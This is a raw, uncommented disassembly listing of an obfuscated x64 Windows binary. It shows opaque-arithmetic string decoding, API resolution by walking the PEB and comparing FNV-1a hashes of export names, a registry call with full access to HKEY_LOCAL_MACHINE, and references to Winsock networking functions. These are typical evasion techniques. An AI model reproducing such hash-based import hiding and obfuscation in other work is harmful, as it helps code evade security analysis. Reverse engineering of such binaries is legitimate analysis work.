lea rax, [r10 + 0x5a]
cmp rbx, rax
jae 0x14012c54a
movabs rdx, 0x918829b2f7c05816
mov ecx, 0x33
jmp 0x14012c75f
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14012ce44
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012ce20
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012cdf9
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14012cdd2
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14012cdb2
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14012ca91
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14012ca6e
lea rax, [r10 + 8]
cmp rbx, rax
je 0x14012ca47
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14012ca23
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x14012ca0f
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x14012c9eb
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14012c9c7
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x14012c9b3
lea rax, [r10 + 0x3e8]
cmp rbx, rax
je 0x14012c98d
lea rax, [r10 + 0x61]
cmp rbx, rax
je 0x14012c979
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14012c598
lea rbx, [r10 + 5]
lea r10, [rbx + 0x20]
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14012d003
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x14012cfe0
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x14012c79a
lea rax, [r10 + 1]
cmp rbx, rax
jb 0x14012c777
lea rax, [r10 + 0x40]
cmp rbx, rax
jb 0x14012c750
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x14012c956
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14012c933
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x14012c90f
lea rax, [r10 + 0xa]
cmp rbx, rax
jb 0x14012c8e3
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14012c598
lea rbx, [r10 + 0x3e8]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x14012c8cf
lea rax, [r10 + 0x5a]
cmp rbx, rax
ja 0x14012c8ac
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14012c889
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14012c875
lea rax, [r10 + 0x200]
cmp rbx, rax
ja 0x14012c851
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x14012c82d
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x14012c809
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x14012c7e5
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x14012c7c1
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x14012c598
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 3]
jmp 0x14012c598
movabs rdx, 0xcf7914021ebc2eaa
mov ecx, reloc.WLDAP32.dll_Ordinal_45
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012c58b
movabs rcx, 0x84a9100974daa02e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x42
jmp 0x14012c524
movabs rdx, 0x39d90c10caf911b2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012c4a6
movabs rdx, 0x8c414d97be02c0b0
mov ecx, Ordinal_27
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14012ce74
movabs rcx, 0x4171499f14213234
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x6c
jmp 0x14012ce9f
movabs rcx, 0xf6a145a66a3fa3b8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 8
jmp 0x14012cea2
movabs rdx, 0xabd141adc05e153c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14012cec8
movabs rcx, 0x61013db5167c86c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x40
jmp 0x14012cef4
movabs rdx, 0x163139bc6c9af844
mov ecx, reloc.WS2_32.dll_select
jmp 0x14012cde1
movabs rdx, 0xcb6135c3c2b969c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x78
jmp 0x14012cdaa
movabs rdx, 0x809131cb18d7db4c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x14
jmp 0x14012c9ab
movabs rdx, 0x35c12dd26ef64cd0
mov ecx, Ordinal_41
jmp 0x14012cc87
movabs rcx, 0xfab923e4c642689a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x36
mov byte [rbp + r9 + 0x5c0], dil
jmp 0x14012cfd8
movabs rdx, 0xafe91fec1c60da1e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14012cb2a
movabs rdx, 0x65191bf3727f4ba2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6e
jmp 0x14012caef
movabs rdx, 0x1a4917fac89dbd26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
jmp 0x14012cab4
movabs rdx, 0x6930fa31ce821084
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x14012cc87
movabs rdx, 0x1e60f63924a08208
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x38
add dil, dl
jmp 0x14012cf7a
movabs rdx, 0xd390f2407abef38c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x14012cba4
movabs rcx, 0x88c0ee47d0dd6510
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x70
jmp 0x14012cf15
movabs rcx, 0x3df0ea4f26fbd694
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0xc
jmp 0x14012cef4
movabs rdx, 0xf320e6567d1a4818
mov ecx, Ordinal_46
jmp 0x14012c83c
movabs rcx, 0xa850e25dd338b99c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x14012cea2
movabs rdx, 0x5d80de6529572b20
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012ce9f
movabs rdx, 0x12b0da6c7f759ca4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x7c
jmp 0x14012ce74
lea rax, [r10 + 6]
cmp rbx, rax
jae 0x14012cb5f
lea rdx, [r9 + r11]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
lea rax, [r10 + rbx]
cmp rax, r15
je 0x14012cd83
lea rax, [r10 + 0x40]
cmp rbx, rax
jbe 0x14012cc04
movabs rdx, 0x69c879203d5f79c6
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x6a
add dil, dl
cmp rbx, 0x1000
jae 0x14012cd5b
lea rax, [r10 + 1]
cmp rbx, rax
jbe 0x14012cc9f
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 4
add dil, dl
cmp r10, 9
jb 0x14012c902
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14012ce77
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012cb8c
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x34
jmp 0x14012cfc9
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012cbb6
movabs rdx, 0xb8b05b574343cd24
mov ecx, 2
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14012cda7
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012cbe3
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x14012cf15
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012cab7
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x14012ce08
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14012cc21
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x14012c7d0
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012cc4e
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x32
jmp 0x14012ce9f
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012cc6b
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x14012c83c
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x14012caf2
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012cfc9
jne 0x14012ccc5
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x14012cfc9
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14012ccf1
movabs rcx, 0xdbc0aebd32c47d50
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x30
jmp 0x14012cf4a
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14012cd0e
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x14012cde1
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14012cd3a
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x5c
jmp 0x14012cec8
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x14012cb2d
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x14012c7d0
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x5c0]
sub dil, al
sub dil, 0x50
jmp 0x14012c849
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r9 + 0x5c0]
add dil, r8b
add dil, dl
jmp 0x14012cf4a
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x56
jmp 0x14012cdaa
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012cf15
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012cef4
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14012cea2
movabs rdx, 0xdc582daba1a1e692
mov ecx, r12d
jmp 0x14012c7d0
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x36
add dil, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x5c0], cl
add r10, r12
sub r9, r12
jmp 0x14012cfd8
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0xa
add dil, dl
movabs rdx, 0xd7a8d07ed6c1b86e
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, dil
sub cl, al
sub cl, 2
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x5c0], cl
add rbx, r10
jmp 0x14012cf15
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
sub dil, 0x42
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14012cfd8
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea edi, [rax + rax]
add dil, r8b
add dil, cl
movabs rcx, 0x2278d47780a346ea
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x66
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x5c0], al
add r10, r12
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x5c0], cl
add rbx, r12
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14012cfc9
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x16
movzx eax, byte [rbp + r9 + 0x5c0]
add rax, r10
add r9, rax
add r9, r12
jmp 0x14012c493
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7a
jmp 0x14012c490
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x16
jmp 0x14012c480
lea rsi, [rbp + 0x145e368]
jmp 0x14012d040
lea rsi, [rbp + 0x136aaa6]
jmp 0x14012d040
lea rsi, [rbp + 0x5c0]
mov r10, qword [0x1404fc178]
test r10, r10
jne 0x14012d1a2
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r14, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d0b6
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14012d0a9
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d09a
cmp edx, edi
jne 0x14012d185
mov rbx, qword [r8 + 0x30]
movsxd rax, dword [rbx + 0x3c]
mov rax, qword [rax + rbx + 0x88]
mov r11d, eax
add r11, rbx
shr rax, 0x20
cmp r11, rbx
je 0x14012d185
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14012d185
mov r15d, dword [r11 + 0x20]
dec r10d
lea rdx, [r15 + r10*4]
mov r9d, dword [rdx + rbx]
add r9, rbx
mov edx, 0x811c9dc5
jmp 0x14012d10a
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r9]
add r9, r12
test cl, cl
jne 0x14012d0ff
cmp edx, r13d
je 0x14012d120
test r10d, r10d
jne 0x14012d0ea
jmp 0x14012d185
mov edx, dword [r11 + 0x24]
add rdx, rbx
movzx r9d, word [rdx + r10*2]
mov edx, dword [r11 + 0x1c]
add rdx, rbx
mov r10d, dword [rdx + r9*4]
add r10, rbx
cmp r10, r11
jbe 0x14012d19b
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14012d19b
mov eax, 0x811c9dc5
mov edi, eax
mov r13d, eax
jmp 0x14012d162
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add r10, r12
mov al, byte [r10]
cmp al, 0x2e
jne 0x14012d154
jmp 0x14012d178
movsx eax, al
xor eax, r13d
imul r13d, eax, 0x1000193
add r10, r12
mov al, byte [r10]
test al, al
jne 0x14012d16b
mov r8, qword [r14]
mov r8, qword [r8]
cmp r8, r14
je 0x14012d198
cmp qword [r8 + 0x30], 0
jne 0x14012d069
xor r10d, r10d
mov qword [0x1404fc178], r10
and qword [rsp + 0x40], 0
lea rax, [0x1404fba68]
mov qword [rsp + 0x38], rax
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404fc118]
mov r15d, 8
test rdx, rdx
jne 0x14012d353
xor edi, edi
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, 0xcded1a85
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd ecx, xmm0
sub cx, r15w
mov word [rsp + 0x60], cx
mov r13d, 0x811c9dc5
test edi, edi
je 0x14012d25c
mov rdx, qword [rsp + 0x68]
movzx ecx, cx
shr rcx, 1
lea r9, [rdx + rcx*2]
mov r8d, r13d
jmp 0x14012d24e
movsx ecx, byte [rdx]
xor ecx, r8d
imul r8d, ecx, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14012d23d
cmp r8d, edi
jne 0x14012d342
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov rcx, qword [rcx + r11 + 0x88]
mov r10d, ecx
add r10, r11
shr rcx, 0x20
cmp r10, r11
je 0x14012d342
mov ebx, dword [r10 + 0x18]
test ebx, ebx
je 0x14012d342
mov esi, dword [r10 + 0x20]
dec ebx
lea r8, [r11 + rbx*4]
mov r9d, dword [r8 + rsi]
add r9, r11
mov r8d, r13d
jmp 0x14012d2ae
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x14012d2a1
cmp r8d, r14d
je 0x14012d2c3
test ebx, ebx
jne 0x14012d28f
jmp 0x14012d342
mov edx, dword [r10 + 0x24]
add rdx, r11
movzx r9d, word [rdx + rbx*2]
mov edx, dword [r10 + 0x1c]
add rdx, r11
mov edx, dword [rdx + r9*4]
add rdx, r11
cmp rdx, r10
jbe 0x14012d34a
lea rax, [r10 + rcx]
cmp rdx, rax
jae 0x14012d34a
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x58], ecx
jmp 0x14012d305
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012d2f7
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14012d32c
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14012d314
mov dword [rsp + 0x58], ecx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r14d, dword [rsp + 0x58]
mov rax, qword [rax]
jmp 0x14012d209
mov qword [0x1404fc118], rdx
jmp 0x14012d359
mov r13d, 0x811c9dc5
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404fc158]
test rbx, rbx
jne 0x14012d4c2
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d3d4
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d3c7
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d3b8
cmp edx, edi
jne 0x14012d4a6
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14012d4a6
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012d4a6
mov r14d, dword [r9 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, r13d
jmp 0x14012d424
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r11]
add r11, r12
test cl, cl
jne 0x14012d419
cmp edx, dword [rsp + 0x70]
je 0x14012d43a
test ebx, ebx
jne 0x14012d407
jmp 0x14012d4a6
mov ecx, dword [r9 + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r10
mov ebx, dword [rdx + r8*4]
add rbx, r10
cmp rbx, r9
jbe 0x14012d4bb
lea rcx, [r9 + rax]
cmp rbx, rcx
jae 0x14012d4bb
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x70], ecx
jmp 0x14012d47c
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x14012d46e
add rbx, r12
mov al, byte [rbx]
test al, al
je 0x14012d4a3
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x14012d48b
mov dword [rsp + 0x70], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d4b9
cmp qword [r8 + 0x30], 0
jne 0x14012d389
xor ebx, ebx
mov qword [0x1404fc158], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404fc150]
test rdx, rdx
jne 0x14012d631
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d543
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d536
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d527
cmp edx, edi
jne 0x14012d615
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14012d615
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012d615
mov r14d, dword [r9 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, r13d
jmp 0x14012d593
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r11]
add r11, r12
test cl, cl
jne 0x14012d588
cmp edx, dword [rsp + 0x74]
je 0x14012d5a9
test ebx, ebx
jne 0x14012d576
jmp 0x14012d615
mov ecx, dword [r9 + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r8*4]
add rdx, r10
cmp rdx, r9
jbe 0x14012d62a
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x14012d62a
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x74], ecx
jmp 0x14012d5eb
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012d5dd
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14012d612
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14012d5fa
mov dword [rsp + 0x74], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d628
cmp qword [r8 + 0x30], 0
jne 0x14012d4f8
xor edx, edx
mov qword [0x1404fc150], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc148]
test rdx, rdx
jne 0x14012d797
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d6a9
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d69c
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d68d
cmp edx, edi
jne 0x14012d77b
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14012d77b
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012d77b
mov r14d, dword [r9 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, r13d
jmp 0x14012d6f9
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r11]
add r11, r12
test cl, cl
jne 0x14012d6ee
cmp edx, dword [rsp + 0x78]
je 0x14012d70f
test ebx, ebx
jne 0x14012d6dc
jmp 0x14012d77b
mov ecx, dword [r9 + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r10
mov edx, dword [rdx + r8*4]
add rdx, r10
cmp rdx, r9
jbe 0x14012d790
lea rcx, [r9 + rax]
cmp rdx, rcx
jae 0x14012d790
mov edi, r13d
mov ecx, r13d
mov dword [rsp + 0x78], ecx
jmp 0x14012d751
movsx eax, al
xor eax, edi
imul edi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14012d743
add rdx, r12
mov al, byte [rdx]
test al, al
je 0x14012d778
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x14012d760
mov dword [rsp + 0x78], ecx
mov r8, qword [rsi]
mov r8, qword [r8]
cmp r8, rsi
je 0x14012d78e
cmp qword [r8 + 0x30], 0
jne 0x14012d65e
xor edx, edx
mov qword [0x1404fc148], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404fc140]
test rdx, rdx
jne 0x14012d8fd
xor edi, edi
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov rsi, r8
movups xmm0, xmmword [r8 + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd eax, xmm0
sub ax, r15w
mov word [rsp + 0x60], ax
test edi, edi
je 0x14012d80f
mov rcx, qword [rsp + 0x68]
movzx eax, ax
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, r13d
jmp 0x14012d802
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14012d7f3
cmp edx, edi
jne 0x14012d8e1
mov r10, qword [r8 + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r9d, eax
add r9, r10
shr rax, 0x20
cmp r9, r10
je 0x14012d8e1
mov ebx, dword [r9 + 0x18]
test ebx, ebx
je 0x14012d8e1
mov r14d, dword [r9 + 0x20]
dec ebx
lea rdx, [r14 + rbx*4]
mov r11d, dword [rdx + r10]
add r11, r10
mov edx, r13d
jmp 0x14012d85f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r11]
add r11, r12
test cl, cl
jne 0x14012d854
cmp edx, dword [rsp + 0x7c]
je 0x14012d875
test ebx, ebx
jne 0x14012d842
jmp 0x14012d8e1
mov ecx, dword [r9 + 0x24]
add rcx, r10
movzx r8d, word [rcx + rbx*2]
mov edx, dword [r9 + 0x1c]
add rdx, r10
